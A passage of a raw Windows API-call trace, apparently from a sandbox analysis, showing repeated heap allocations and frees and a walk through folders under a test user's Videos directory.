[0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.366] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.367] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.367] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.368] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\77Cx1sWq_QSp08HQt5\\") returned="77Cx1sWq_QSp08HQt5\\" [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.368] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.368] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.368] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.368] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.368] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.368] PathFindFileNameW (pszPath="") returned="" [0114.368] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\77Cx1sWq_QSp08HQt5\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcfc7c0, ftCreationTime.dwHighDateTime=0x1d4cd47, ftLastAccessTime.dwLowDateTime=0x99a7a6e0, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x99a7a6e0, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.369] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcfc7c0, ftCreationTime.dwHighDateTime=0x1d4cd47, ftLastAccessTime.dwLowDateTime=0x99a7a6e0, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x99a7a6e0, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.369] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcfc7c0, ftCreationTime.dwHighDateTime=0x1d4cd47, ftLastAccessTime.dwLowDateTime=0x99a7a6e0, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x99a7a6e0, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.369] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.369] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.369] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.369] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.370] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.371] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.371] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.372] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.373] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.373] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.373] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.373] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.373] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.373] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.373] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\") returned="x4sMoy\\" [0114.373] PathFindFileNameW 